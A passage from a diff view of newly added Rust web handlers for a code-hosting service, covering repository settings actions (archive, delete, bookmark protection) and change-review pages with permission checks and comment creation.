| 268 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 269 | + | CurrentUser(user): CurrentUser, | |
| 270 | + | Form(form): Form<ProtectBookmark>, | |
| 271 | + | ) -> AppResult<Response> { | |
| 272 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 273 | + | ctx.require_settings()?; | |
| 274 | + | ||
| 275 | + | let protected = form.protected == "1"; | |
| 276 | + | ||
| 277 | + | sqlx::query("UPDATE bookmarks SET protected = $3 WHERE repo_id = $1 AND name = $2") | |
| 278 | + | .bind(ctx.repo.id) | |
| 279 | + | .bind(form.name.trim()) | |
| 280 | + | .bind(protected) | |
| 281 | + | .execute(&state.db) | |
| 282 | + | .await?; | |
| 283 | + | ||
| 284 | + | Ok(ok( | |
| 285 | + | &ctx, | |
| 286 | + | "bookmarks", | |
| 287 | + | if protected { "Bookmark protected." } else { "Bookmark unprotected." }, | |
| 288 | + | )) | |
| 289 | + | } | |
| 290 | + | ||
| 291 | + | // ─── danger zone ───────────────────────────────────────────────────────────── | |
| 292 | + | ||
| 293 | + | #[derive(Deserialize)] | |
| 294 | + | pub struct Archive { | |
| 295 | + | pub archived: String, | |
| 296 | + | } | |
| 297 | + | ||
| 298 | + | /// `POST /{owner}/{repo}/settings/archive` | |
| 299 | + | pub async fn archive( | |
| 300 | + | State(state): State<AppState>, | |
| 301 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 302 | + | CurrentUser(user): CurrentUser, | |
| 303 | + | Form(form): Form<Archive>, | |
| 304 | + | ) -> AppResult<Response> { | |
| 305 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 306 | + | ctx.require_settings()?; | |
| 307 | + | let actor = user.as_ref().ok_or(AppError::Unauthorized)?.id; | |
| 308 | + | ||
| 309 | + | let archived = form.archived == "1"; | |
| 310 | + | sqlx::query("UPDATE repos SET archived = $2 WHERE id = $1") | |
| 311 | + | .bind(ctx.repo.id) | |
| 312 | + | .bind(archived) | |
| 313 | + | .execute(&state.db) | |
| 314 | + | .await?; | |
| 315 | + | ||
| 316 | + | audit( | |
| 317 | + | &state, | |
| 318 | + | actor, | |
| 319 | + | if archived { "repo.archived" } else { "repo.unarchived" }, | |
| 320 | + | &format!("{}/{}", ctx.owner, ctx.repo.name), | |
| 321 | + | ) | |
| 322 | + | .await; | |
| 323 | + | ||
| 324 | + | Ok(ok( | |
| 325 | + | &ctx, | |
| 326 | + | "danger", | |
| 327 | + | if archived { "Repository archived." } else { "Repository unarchived." }, | |
| 328 | + | )) | |
| 329 | + | } | |
| 330 | + | ||
| 331 | + | #[derive(Deserialize)] | |
| 332 | + | pub struct DeleteRepo { | |
| 333 | + | pub confirm: String, | |
| 334 | + | } | |
| 335 | + | ||
| 336 | + | /// `POST /{owner}/{repo}/settings/delete` | |
| 337 | + | pub async fn delete( | |
| 338 | + | State(state): State<AppState>, | |
| 339 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 340 | + | CurrentUser(user): CurrentUser, | |
| 341 | + | Form(form): Form<DeleteRepo>, | |
| 342 | + | ) -> AppResult<Response> { | |
| 343 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 344 | + | if !ctx.access.can_delete() { | |
| 345 | + | return Err(AppError::Forbidden); | |
| 346 | + | } | |
| 347 | + | let actor = user.as_ref().ok_or(AppError::Unauthorized)?.id; | |
| 348 | + | ||
| 349 | + | let expected = format!("{}/{}", ctx.owner, ctx.repo.name); | |
| 350 | + | if form.confirm.trim() != expected { | |
| 351 | + | return Ok(err(&ctx, "danger", "The confirmation did not match.")); | |
| 352 | + | } | |
| 353 | + | ||
| 354 | + | // Database first: the row is the only thing that makes the repository | |
| 355 | + | // reachable, so removing it is what actually revokes access. If the disk | |
| 356 | + | // removal then fails, the result is an orphaned directory — recoverable and | |
| 357 | + | // invisible — rather than a live row pointing at nothing. | |
| 358 | + | sqlx::query("DELETE FROM repos WHERE id = $1") | |
| 359 | + | .bind(ctx.repo.id) | |
| 360 | + | .execute(&state.db) | |
| 361 | + | .await?; | |
| 362 | + | ||
| 363 | + | if let Err(e) = state.store.delete(ctx.store_id()).await { | |
| 364 | + | tracing::error!(repo = %ctx.repo.id, "repository row deleted but storage removal failed: {e}"); | |
| 365 | + | } | |
| 366 | + | ||
| 367 | + | audit(&state, actor, "repo.deleted", &expected).await; | |
| 368 | + | tracing::warn!(repo = %ctx.repo.id, %expected, actor = %actor, "repository deleted"); | |
| 369 | + | ||
| 370 | + | Ok(Redirect::to("/").into_response()) | |
| 371 | + | } | |
| 372 | + | ||
| 373 | + | // ─── loading ───────────────────────────────────────────────────────────────── | |
| 374 | + | ||
| 375 | + | async fn load_collaborators(state: &AppState, repo_id: Uuid) -> AppResult<Vec<v::CollaboratorRow>> { | |
| 376 | + | let rows: Vec<(String, RepoRole)> = sqlx::query_as( | |
| 377 | + | "SELECT u.handle::text, c.role | |
| 378 | + | FROM repo_collaborators c JOIN users u ON u.id = c.user_id | |
| 379 | + | WHERE c.repo_id = $1 | |
| 380 | + | ORDER BY u.handle", | |
| 381 | + | ) | |
| 382 | + | .bind(repo_id) | |
| 383 | + | .fetch_all(&state.db) | |
| 384 | + | .await?; | |
| 385 | + | ||
| 386 | + | Ok(rows | |
| 387 | + | .into_iter() | |
| 388 | + | .map(|(handle, role)| v::CollaboratorRow { handle, role }) | |
| 389 | + | .collect()) | |
| 390 | + | } | |
| 391 | + | ||
| 392 | + | async fn load_bookmarks(state: &AppState, ctx: &RepoContext) -> AppResult<Vec<v::BookmarkRow>> { | |
| 393 | + | let rows: Vec<(String, bool)> = | |
| 394 | + | sqlx::query_as("SELECT name, protected FROM bookmarks WHERE repo_id = $1 ORDER BY name") | |
| 395 | + | .bind(ctx.repo.id) | |
| 396 | + | .fetch_all(&state.db) | |
| 397 | + | .await?; | |
| 398 | + | ||
| 399 | + | Ok(rows | |
| 400 | + | .into_iter() | |
| 401 | + | .map(|(name, protected)| v::BookmarkRow { | |
| 402 | + | is_default: name == ctx.repo.default_bookmark, | |
| 403 | + | name, | |
| 404 | + | protected, | |
| 405 | + | }) | |
| 406 | + | .collect()) | |
| 407 | + | } | |
| 408 | + | ||
| 409 | + | // ─── helpers ───────────────────────────────────────────────────────────────── | |
| 410 | + | ||
| 411 | + | fn parse_role(s: &str) -> Option<RepoRole> { | |
| 412 | + | match s { | |
| 413 | + | "read" => Some(RepoRole::Read), | |
| 414 | + | "write" => Some(RepoRole::Write), | |
| 415 | + | "maintain" => Some(RepoRole::Maintain), | |
| 416 | + | "admin" => Some(RepoRole::Admin), | |
| 417 | + | _ => None, | |
| 418 | + | } | |
| 419 | + | } | |
| 420 | + | ||
| 421 | + | fn visibility_str(v: df_db::models::Visibility) -> &'static str { | |
| 422 | + | match v { | |
| 423 | + | df_db::models::Visibility::Public => "public", | |
| 424 | + | df_db::models::Visibility::Private => "private", | |
| 425 | + | } | |
| 426 | + | } | |
| 427 | + | ||
| 428 | + | fn ok(ctx: &RepoContext, tab: &str, msg: &str) -> Response { | |
| 429 | + | Redirect::to(&format!( | |
| 430 | + | "{}/settings?tab={tab}¬ice={}", | |
| 431 | + | ctx.base(), | |
| 432 | + | urlencode(msg) | |
| 433 | + | )) | |
| 434 | + | .into_response() | |
| 435 | + | } | |
| 436 | + | ||
| 437 | + | fn err(ctx: &RepoContext, tab: &str, msg: &str) -> Response { | |
| 438 | + | Redirect::to(&format!( | |
| 439 | + | "{}/settings?tab={tab}&error={}", | |
| 440 | + | ctx.base(), | |
| 441 | + | urlencode(msg) | |
| 442 | + | )) | |
| 443 | + | .into_response() | |
| 444 | + | } | |
Acrates/df-web/src/routes/review.rs1275 lines+1275−0
| @@ −0,0 +1,1275 @@ | |||
| 1 | + | //! Change detail, files, revisions, conflicts, comments, reviews, stacks | |
| 2 | + | //! (M3, M4). | |
| 3 | + | //! | |
| 4 | + | //! Split from `routes::change` — which owns the *list* — because the review | |
| 5 | + | //! surface is where most of the product's behaviour lives and the two have very | |
| 6 | + | //! little in common beyond resolving a change. | |
| 7 | + | //! | |
| 8 | + | //! Two rules every handler here follows: | |
| 9 | + | //! | |
| 10 | + | //! * `RepoContext::load` first, so an unauthorised private repository 404s | |
| 11 | + | //! before anything else runs. | |
| 12 | + | //! * Permission checks name the capability, not the role: `can_comment`, | |
| 13 | + | //! `can_manage_changes`. The mapping from role to capability lives in | |
| 14 | + | //! `df_auth::permissions` and nowhere else (spec §6). | |
| 15 | + | ||
| 16 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 17 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 18 | + | use axum::Form; | |
| 19 | + | use df_db::ids::new_id; | |
| 20 | + | use df_store::{DiffOpts, RevId}; | |
| 21 | + | use serde::Deserialize; | |
| 22 | + | use uuid::Uuid; | |
| 23 | + | ||
| 24 | + | use crate::error::{AppError, AppResult}; | |
| 25 | + | use crate::repo_ctx::RepoContext; | |
| 26 | + | use crate::routes::change::{resolve_change, ChangeRecord, Resolution}; | |
| 27 | + | use crate::routes::settings::urlencode; | |
| 28 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 29 | + | use crate::views::change as cv; | |
| 30 | + | use crate::views::repo as rv; | |
| 31 | + | use crate::views::review as v; | |
| 32 | + | use crate::views::{self, Chrome}; | |
| 33 | + | ||
| 34 | + | /// Everything the change pages load before they diverge. | |
| 35 | + | struct Loaded { | |
| 36 | + | ctx: RepoContext, | |
| 37 | + | change: ChangeRecord, | |
| 38 | + | /// (seq, rev), oldest first. | |
| 39 | + | revisions: Vec<(i32, String)>, | |
| 40 | + | author: Option<String>, | |
| 41 | + | can_manage: bool, | |
| 42 | + | } | |
| 43 | + | ||
| 44 | + | impl Loaded { | |
| 45 | + | fn head(&self) -> Option<&str> { | |
| 46 | + | self.revisions.last().map(|(_, r)| r.as_str()) | |
| 47 | + | } | |
| 48 | + | } | |
| 49 | + | ||
| 50 | + | /// Resolve the repo and the change, or produce the response that stands in for | |
| 51 | + | /// it — a 404, or the disambiguation page for an ambiguous prefix. | |
| 52 | + | async fn load( | |
| 53 | + | state: &AppState, | |
| 54 | + | owner: &str, | |
| 55 | + | name: &str, | |
| 56 | + | reference: &str, | |
| 57 | + | user: Option<&df_db::models::User>, | |
| 58 | + | csrf: &str, | |
| 59 | + | nonce: &str, | |
| 60 | + | ) -> AppResult<Result<Loaded, Response>> { | |
| 61 | + | let ctx = RepoContext::load(state, owner, name, user).await?; | |
| 62 | + | ||
| 63 | + | let change = match resolve_change(state, ctx.repo.id, reference).await? { | |
| 64 | + | Resolution::One(c) => *c, | |
| 65 | + | Resolution::Ambiguous(candidates) => { | |
| 66 | + | let body = maud::html! { | |
| 67 | + | (rv::header(&ctx, "changes")) | |
| 68 | + | (cv::ambiguous(&ctx, reference, &candidates)) | |
| 69 | + | }; | |
| 70 | + | return Ok(Err(views::page( | |
| 71 | + | Chrome { title: "Ambiguous change id", user, csrf, nonce }, | |
| 72 | + | body, | |
| 73 | + | ) | |
| 74 | + | .into_response())); | |
| 75 | + | } | |
| 76 | + | Resolution::None => return Err(AppError::NotFound), | |
| 77 | + | }; | |
| 78 | + | ||
| 79 | + | let revisions: Vec<(i32, String)> = | |
| 80 | + | sqlx::query_as("SELECT seq, rev FROM revisions WHERE change_id_fk = $1 ORDER BY seq") | |
| 81 | + | .bind(change.id) | |
| 82 | + | .fetch_all(&state.db) | |
| 83 | + | .await?; | |
| 84 | + | ||
| 85 | + | let author: Option<String> = sqlx::query_scalar( | |
| 86 | + | "SELECT u.handle::text FROM users u | |
| 87 | + | JOIN changes c ON c.author_user_id = u.id WHERE c.id = $1", | |
| 88 | + | ) | |
| 89 | + | .bind(change.id) | |
| 90 | + | .fetch_optional(&state.db) | |
| 91 | + | .await?; | |
| 92 | + | ||
| 93 | + | // The author of a change manages it even without the maintain role — it is | |
| 94 | + | // their work, and requiring a maintainer to retitle your own change would be | |
| 95 | + | // absurd. Everything else still needs the role. | |
| 96 | + | let is_author = matches!((user, &author), (Some(u), Some(a)) if &u.handle == a); | |
| 97 | + | let can_manage = ctx.access.can_manage_changes() || is_author; | |
| 98 | + | ||
| 99 | + | Ok(Ok(Loaded { ctx, change, revisions, author, can_manage })) | |
| 100 | + | } | |
| 101 | + | ||
| 102 | + | impl Loaded { | |
| 103 | + | fn head_view<'a>(&'a self, csrf: &'a str, can_comment: bool) -> v::ChangeHead<'a> { | |
| 104 | + | v::ChangeHead { | |
| 105 | + | number: self.change.number, | |
| 106 | + | change_id: &self.change.change_id, | |
| 107 | + | synthetic: self.change.synthetic, | |
| 108 | + | title: &self.change.title, | |
| 109 | + | state: &self.change.state, | |
| 110 | + | conflicted: self.change.conflicted, | |
| 111 | + | target_bookmark: &self.change.target_bookmark, | |
| 112 | + | author: self.author.as_deref(), | |
| 113 | + | revision_count: self.revisions.len(), | |
| 114 | + | can_manage: self.can_manage, | |
| 115 | + | can_comment, | |
| 116 | + | csrf, | |
| 117 | + | } | |
| 118 | + | } | |
| 119 | + | } | |
| 120 | + | ||
| 121 | + | // ─── overview ──────────────────────────────────────────────────────────────── | |
| 122 | + | ||
| 123 | + | #[derive(Deserialize, Default)] | |
| 124 | + | pub struct Flash { | |
| 125 | + | pub error: Option<String>, | |
| 126 | + | pub notice: Option<String>, | |
| 127 | + | } | |
| 128 | + | ||
| 129 | + | /// `GET /{owner}/{repo}/changes/{ref}` | |
| 130 | + | pub async fn overview( | |
| 131 | + | State(state): State<AppState>, | |
| 132 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 133 | + | Query(flash): Query<Flash>, | |
| 134 | + | CurrentUser(user): CurrentUser, | |
| 135 | + | CsrfToken(csrf): CsrfToken, | |
| 136 | + | Nonce(nonce): Nonce, | |
| 137 | + | ) -> AppResult<Response> { | |
| 138 | + | let l = match load(&state, &owner, &name, &reference, user.as_deref(), &csrf, &nonce).await? { | |
| 139 | + | Ok(l) => l, | |
| 140 | + | Err(res) => return Ok(res), | |
| 141 | + | }; | |
| 142 | + | ||
| 143 | + | let can_comment = user.is_some() && l.ctx.access.can_comment(); | |
| 144 | + | let head = l.head_view(&csrf, can_comment); | |
| 145 | + | ||
| 146 | + | let all_comments = load_comments(&state, &l.ctx, l.change.id).await?; | |
| 147 | + | // Top-level and orphaned comments live in the timeline; the rest belong in | |
| 148 | + | // the diff, where the line they are about is (spec §5 step 5). | |
| 149 | + | let (orphaned, rest): (Vec<_>, Vec<_>) = all_comments | |
| 150 | + | .into_iter() | |
| 151 | + | .partition(|c| c.anchor_state == "orphaned"); | |
| 152 | + | let top_level: Vec<v::CommentRow> = | |
| 153 | + | rest.into_iter().filter(|c| c.anchor_path.is_none()).collect(); | |
| 154 | + | ||
| 155 | + | let reviews = load_reviews(&state, &l.ctx, l.change.id, l.head()).await?; | |
| 156 | + | let events = load_events(&state, l.ctx.repo.id, l.change.id).await?; | |
| 157 | + | ||
| 158 | + | let viewer_reviewed = match (&user, l.head()) { | |
| 159 | + | (Some(u), Some(_)) => reviews | |
| 160 | + | .iter() | |
| 161 | + | .any(|r| r.reviewer == u.handle && r.is_head), | |
| 162 | + | _ => false, | |
| 163 | + | }; | |
| 164 | + | ||
| 165 | + | // Cross-references resolve against this repository (spec §8). | |
| 166 | + | let description_html = crate::routes::issue::render(&l.ctx, &l.change.description); | |
| 167 | + | ||
| 168 | + | let body = maud::html! { | |
| 169 | + | (rv::header(&l.ctx, "changes")) | |
| 170 | + | (v::header(&l.ctx, &head, "overview")) | |
| 171 | + | @if let Some(e) = &flash.error { div .banner.banner-error role="alert" { (e) } } | |
| 172 | + | @if let Some(n) = &flash.notice { div .banner.banner-ok role="status" { (n) } } | |
| 173 | + | (v::overview(&l.ctx, &head, v::Overview { | |
| 174 | + | description_html: &description_html, | |
| 175 | + | description_raw: &l.change.description, | |
| 176 | + | comments: &top_level, | |
| 177 | + | orphaned: &orphaned, | |
| 178 | + | reviews: &reviews, | |
| 179 | + | events: &events, | |
| 180 | + | viewer_reviewed, | |
| 181 | + | })) | |
| 182 | + | }; | |
| 183 | + | ||
| 184 | + | Ok(views::page( | |
| 185 | + | Chrome { | |
| 186 | + | title: &format!("{} · {}/{}", l.change.title, l.ctx.owner, l.ctx.repo.name), | |
| 187 | + | user: user.as_deref(), | |
| 188 | + | csrf: &csrf, | |
| 189 | + | nonce: &nonce, | |
| 190 | + | }, | |
| 191 | + | body, | |
| 192 | + | ) | |
| 193 | + | .into_response()) | |
| 194 | + | } | |
| 195 | + | ||
| 196 | + | // ─── files ─────────────────────────────────────────────────────────────────── | |
| 197 | + | ||
| 198 | + | #[derive(Deserialize, Default)] | |
| 199 | + | pub struct FilesQuery { | |
| 200 | + | pub rev: Option<String>, | |
| 201 | + | pub against: Option<String>, | |
| 202 | + | } | |
| 203 | + | ||
| 204 | + | /// `GET /{owner}/{repo}/changes/{ref}/files` | |
| 205 | + | /// | |
| 206 | + | /// `rev` and `against` are revision tokens, and both are validated against the | |
| 207 | + | /// revisions *of this change* before reaching the store. That check is what | |
| 208 | + | /// stops the query string being used to diff arbitrary objects out of a | |
| 209 | + | /// repository the viewer can only partly see. | |
| 210 | + | pub async fn files( | |
| 211 | + | State(state): State<AppState>, | |
| 212 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 213 | + | Query(q): Query<FilesQuery>, | |
| 214 | + | CurrentUser(user): CurrentUser, | |
| 215 | + | CsrfToken(csrf): CsrfToken, | |
| 216 | + | Nonce(nonce): Nonce, | |
| 217 | + | ) -> AppResult<Response> { | |
| 218 | + | let l = match load(&state, &owner, &name, &reference, user.as_deref(), &csrf, &nonce).await? { | |
| 219 | + | Ok(l) => l, | |
| 220 | + | Err(res) => return Ok(res), | |
| 221 | + | }; | |
| 222 | + | ||
| 223 | + | let can_comment = user.is_some() && l.ctx.access.can_comment(); | |
| 224 | + | let head = l.head_view(&csrf, can_comment); | |
| 225 | + | ||
| 226 | + | let known = |r: &str| l.revisions.iter().any(|(_, rev)| rev == r); | |
| 227 | + | ||
| 228 | + | let rev = match q.rev.as_deref() { | |
| 229 | + | Some(r) if known(r) => Some(r.to_owned()), | |
| 230 | + | Some(_) => return Err(AppError::NotFound), | |
| 231 | + | None => l.head().map(str::to_owned), | |
| 232 | + | }; | |
| 233 | + | let against = match q.against.as_deref().filter(|s| !s.is_empty()) { | |
| 234 | + | Some(r) if known(r) => Some(r.to_owned()), | |
| 235 | + | Some(_) => return Err(AppError::NotFound), | |
| 236 | + | None => None, | |
| 237 | + | }; | |
| 238 | + | ||
| 239 | + | let opts = DiffOpts { | |
| 240 | + | context_lines: 3, | |
| 241 | + | max_files: state.config.max_diff_files, | |
| 242 | + | max_lines: state.config.max_diff_lines, | |
| 243 | + | }; | |
| 244 | + | ||
| 245 | + | let diff = match (&rev, &against) { | |
| 246 | + | (Some(r), Some(a)) => state | |
| 247 | + | .store | |
| 248 | + | .diff( | |
| 249 | + | l.ctx.store_id(), | |
| 250 | + | &RevId::from_stored(a.clone()), | |
| 251 | + | &RevId::from_stored(r.clone()), | |
| 252 | + | opts, | |
| 253 | + | ) | |
| 254 | + | .await | |
| 255 | + | .ok(), | |
| 256 | + | (Some(r), None) => state | |
| 257 | + | .store | |
| 258 | + | .diff_from_parent(l.ctx.store_id(), &RevId::from_stored(r.clone()), opts) | |
| 259 | + | .await | |
| 260 | + | .ok(), | |
| 261 | + | _ => None, | |
| 262 | + | }; | |
| 263 | + | ||
| 264 | + | // Only inline comments that still have a home in the diff. | |
| 265 | + | let comments: Vec<v::CommentRow> = load_comments(&state, &l.ctx, l.change.id) | |
| 266 | + | .await? | |
| 267 | + | .into_iter() | |
| 268 | + | .filter(|c| c.anchor_path.is_some() && c.anchor_state != "orphaned") | |
| 269 | + | .collect(); | |
| 270 | + | ||
| 271 | + | let body = maud::html! { | |
| 272 | + | (rv::header(&l.ctx, "changes")) | |
| 273 | + | (v::header(&l.ctx, &head, "files")) | |
| 274 | + | (v::files(&l.ctx, &head, v::FilesView { | |
| 275 | + | diff: diff.as_ref(), | |
| 276 | + | comments: &comments, | |
| 277 | + | rev: rev.as_deref().unwrap_or(""), | |
| 278 | + | against: against.as_deref(), | |
| 279 | + | revisions: &l.revisions, | |
| 280 | + | })) | |
| 281 | + | }; | |
| 282 | + | ||
| 283 | + | Ok(views::page( | |
| 284 | + | Chrome { | |
| 285 | + | title: &format!("Files · {}", l.change.title), | |
| 286 | + | user: user.as_deref(), | |
| 287 | + | csrf: &csrf, | |
| 288 | + | nonce: &nonce, | |
| 289 | + | }, | |
| 290 | + | body, | |
| 291 | + | ) | |
| 292 | + | .into_response()) | |
| 293 | + | } | |
| 294 | + | ||
| 295 | + | // ─── revisions ─────────────────────────────────────────────────────────────── | |
| 296 | + | ||
| 297 | + | /// `GET /{owner}/{repo}/changes/{ref}/revisions` | |
| 298 | + | pub async fn revisions( | |
| 299 | + | State(state): State<AppState>, | |
| 300 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 301 | + | CurrentUser(user): CurrentUser, | |
| 302 | + | CsrfToken(csrf): CsrfToken, | |
| 303 | + | Nonce(nonce): Nonce, | |
| 304 | + | ) -> AppResult<Response> { | |
| 305 | + | let l = match load(&state, &owner, &name, &reference, user.as_deref(), &csrf, &nonce).await? { | |
| 306 | + | Ok(l) => l, | |
| 307 | + | Err(res) => return Ok(res), | |
| 308 | + | }; | |
| 309 | + | let head = l.head_view(&csrf, false); | |
| 310 | + | ||
| 311 | + | let rows: Vec<( | |
| 312 | + | i32, | |
| 313 | + | String, | |
| 314 | + | String, | |
| 315 | + | String, | |
| 316 | + | chrono::DateTime<chrono::Utc>, | |
| 317 | + | bool, | |
| 318 | + | Option<String>, | |
| 319 | + | )> = sqlx::query_as( | |
| 320 | + | "SELECT r.seq, r.rev, r.message, r.author_name, r.pushed_at, r.conflicted, | |
| 321 | + | u.handle::text | |
| 322 | + | FROM revisions r | |
| 323 | + | LEFT JOIN users u ON u.id = r.pushed_by | |
| 324 | + | WHERE r.change_id_fk = $1 ORDER BY r.seq", | |
| 325 | + | ) | |
| 326 | + | .bind(l.change.id) | |
| 327 | + | .fetch_all(&state.db) | |
| 328 | + | .await?; | |
| 329 | + | ||
| 330 | + | let revs: Vec<v::RevisionDetail> = rows | |
| 331 | + | .into_iter() | |
| 332 | + | .map( | |
| 333 | + | |(seq, rev, message, author_name, pushed_at, conflicted, pushed_by)| { | |
| 334 | + | v::RevisionDetail { | |
| 335 | + | seq, | |
| 336 | + | rev, | |
| 337 | + | message, | |
| 338 | + | author_name, | |
| 339 | + | pushed_at, | |
| 340 | + | conflicted, | |
| 341 | + | pushed_by, | |
| 342 | + | } | |
| 343 | + | }, | |
| 344 | + | ) | |
| 345 | + | .collect(); | |
| 346 | + | ||
| 347 | + | let body = maud::html! { | |
| 348 | + | (rv::header(&l.ctx, "changes")) | |
| 349 | + | (v::header(&l.ctx, &head, "revisions")) | |
| 350 | + | (v::revisions(&l.ctx, &head, &revs)) | |
| 351 | + | }; | |
| 352 | + | ||
| 353 | + | Ok(views::page( | |
| 354 | + | Chrome { | |
| 355 | + | title: &format!("Revisions · {}", l.change.title), | |
| 356 | + | user: user.as_deref(), | |
| 357 | + | csrf: &csrf, | |
| 358 | + | nonce: &nonce, | |
| 359 | + | }, | |
| 360 | + | body, | |
| 361 | + | ) | |
| 362 | + | .into_response()) | |
| 363 | + | } | |
| 364 | + | ||
| 365 | + | // ─── conflicts ─────────────────────────────────────────────────────────────── | |
| 366 | + | ||
| 367 | + | /// `GET /{owner}/{repo}/changes/{ref}/conflicts` | |
| 368 | + | pub async fn conflicts( | |
| 369 | + | State(state): State<AppState>, | |
| 370 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 371 | + | CurrentUser(user): CurrentUser, | |
| 372 | + | CsrfToken(csrf): CsrfToken, | |
| 373 | + | Nonce(nonce): Nonce, | |
| 374 | + | ) -> AppResult<Response> { | |
| 375 | + | let l = match load(&state, &owner, &name, &reference, user.as_deref(), &csrf, &nonce).await? { | |
| 376 | + | Ok(l) => l, | |
| 377 | + | Err(res) => return Ok(res), | |
| 378 | + | }; | |
| 379 | + | let head = l.head_view(&csrf, false); | |
| 380 | + | ||
| 381 | + | let files = match l.head() { | |
| 382 | + | Some(rev) => state | |
| 383 | + | .store | |
| 384 | + | .conflicts(l.ctx.store_id(), &RevId::from_stored(rev.to_owned())) | |
| 385 | + | .await | |
| 386 | + | .unwrap_or_else(|e| { | |
| 387 | + | tracing::warn!(change = %l.change.id, "reading conflicts failed: {e}"); | |
| 388 | + | Vec::new() | |
| 389 | + | }), | |
| 390 | + | None => Vec::new(), | |
| 391 | + | }; | |
| 392 | + | ||
| 393 | + | let body = maud::html! { | |
| 394 | + | (rv::header(&l.ctx, "changes")) | |
| 395 | + | (v::header(&l.ctx, &head, "conflicts")) | |
| 396 | + | (v::conflicts(&l.ctx, &head, &files)) | |
| 397 | + | }; | |
| 398 | + | ||
| 399 | + | Ok(views::page( | |
| 400 | + | Chrome { | |
| 401 | + | title: &format!("Conflicts · {}", l.change.title), | |
| 402 | + | user: user.as_deref(), | |
| 403 | + | csrf: &csrf, | |
| 404 | + | nonce: &nonce, | |
| 405 | + | }, | |
| 406 | + | body, | |
| 407 | + | ) | |
| 408 | + | .into_response()) | |
| 409 | + | } | |
| 410 | + | ||
| 411 | + | // ─── comments ──────────────────────────────────────────────────────────────── | |
| 412 | + | ||
| 413 | + | #[derive(Deserialize)] | |
| 414 | + | pub struct NewComment { | |
| 415 | + | pub body: String, | |
| 416 | + | /// Present for inline comments. | |
| 417 | + | pub path: Option<String>, | |
| 418 | + | pub line: Option<i32>, | |
| 419 | + | pub side: Option<String>, | |
| 420 | + | pub rev: Option<String>, | |
| 421 | + | pub context: Option<String>, | |
| 422 | + | } | |
| 423 | + | ||
| 424 | + | /// `POST /{owner}/{repo}/changes/{ref}/comments` | |
| 425 | + | pub async fn create_comment( | |
| 426 | + | State(state): State<AppState>, | |
| 427 | + | UrlPath((owner, name, reference)): UrlPath<(String, String, String)>, | |
| 428 | + | CurrentUser(user): CurrentUser, | |
| 429 | + | CsrfToken(csrf): CsrfToken, | |
| 430 | + | Form(form): Form<NewComment>, | |
| 431 | + | ) -> AppResult<Response> { | |
| 432 | + | let Some(user) = user else { | |
| 433 | + | return Err(AppError::Unauthorized); | |
| 434 | + | }; | |
| 435 | + | let l = match load(&state, &owner, &name, &reference, Some(&user), &csrf, "").await? { | |
| 436 | + | Ok(l) => l, | |
| 437 | + | Err(_) => return Err(AppError::NotFound), | |
| 438 | + | }; | |
| 439 | + | ||
| 440 | + | if !l.ctx.access.can_comment() { | |
| 441 | + | return Err(AppError::Forbidden); | |
| 442 | + | } | |
| 443 | + | ||
| 444 | + | let body = form.body.trim(); | |
| 445 | + | if body.is_empty() { | |
| 446 | + | return Ok(back(&l, "Comments cannot be empty.")); | |
| 447 | + | } | |
| 448 | + | // A comment long enough to be a denial-of-service is not a comment. | |
| 449 | + | if body.len() > 64 * 1024 { | |
| 450 | + | return Ok(back(&l, "That comment is too long.")); | |
| 451 | + | } | |
| 452 | + | ||
| 453 | + | // The anchor revision is resolved to a row id, and only from revisions that | |
| 454 | + | // belong to this change — a forged `rev` cannot attach a comment to somebody | |
| 455 | + | // else's change. | |
| 456 | + | let anchor_revision: Option<Uuid> = match form.rev.as_deref() { | |
| 457 | + | Some(rev) => sqlx::query_scalar( | |
| 458 | + | "SELECT id FROM revisions WHERE change_id_fk = $1 AND rev = $2", | |
| 459 | + | ) | |
| 460 | + | .bind(l.change.id) | |
| 461 | + | .bind(rev) | |
| 462 | + | .fetch_optional(&state.db) | |
| 463 | + | .await?, | |
| 464 | + | None => None, | |
| 465 | + | }; | |
| 466 | + | ||
| 467 | + | let is_inline = form.path.is_some() && form.line.is_some(); | |
| 468 | + | let side = form | |
| 469 | + | .side | |
| 470 | + | .as_deref() | |
| 471 | + | .filter(|s| *s == "old" || *s == "new") | |
| 472 | + | .unwrap_or("new"); | |
| 473 | + | ||
| 474 | + | sqlx::query( | |
| 475 | + | "INSERT INTO comments (id, repo_id, change_id_fk, author_user_id, body, | |
| 476 | + | anchor_revision, anchor_path, anchor_line, anchor_side, | |
| 477 | + | anchor_context) | |
| 478 | + | VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)", | |
| 479 | + | ) | |
| 480 | + | .bind(new_id()) | |
| 481 | + | .bind(l.ctx.repo.id) | |
| 482 | + | .bind(l.change.id) | |
| 483 | + | .bind(user.id) | |
| 484 | + | .bind(body) | |
| 485 | + | .bind(anchor_revision) | |
| 486 | + | .bind(is_inline.then(|| form.path.clone()).flatten()) | |
| 487 | + | .bind(is_inline.then_some(form.line).flatten()) | |
| 488 | + | .bind(is_inline.then_some(side)) | |
| 489 | + | // The line's text at the time of writing. This is what anchor rebasing | |
| 490 | + | // matches on, and what an outdated comment still shows (spec §5). | |
| 491 | + | .bind(is_inline.then(|| form.context.clone()).flatten()) | |
| 492 | + | .execute(&state.db) | |
| 493 | + | .await?; | |
| 494 | + | ||
| 495 | + | crate::routes::issue::record_references( | |
| 496 | + | &state, | |
| 497 | + | l.ctx.repo.id, | |
| 498 | + | "change", | |
| 499 | + | l.change.id, | |
| 500 | + | body, | |
| 501 | + | ) | |
| 502 | + | .await; | |
| 503 | + | ||
| 504 | + | event( | |
| 505 | + | &state, | |
| 506 | + | l.ctx.repo.id, | |
| 507 | + | Some(user.id), | |
| 508 | + | "change.commented", | |
| 509 | + | l.change.id, | |
| 510 | + | serde_json::json!({}), | |
| 511 | + | ) | |
| 512 | + | .await; | |
| 513 | + | ||
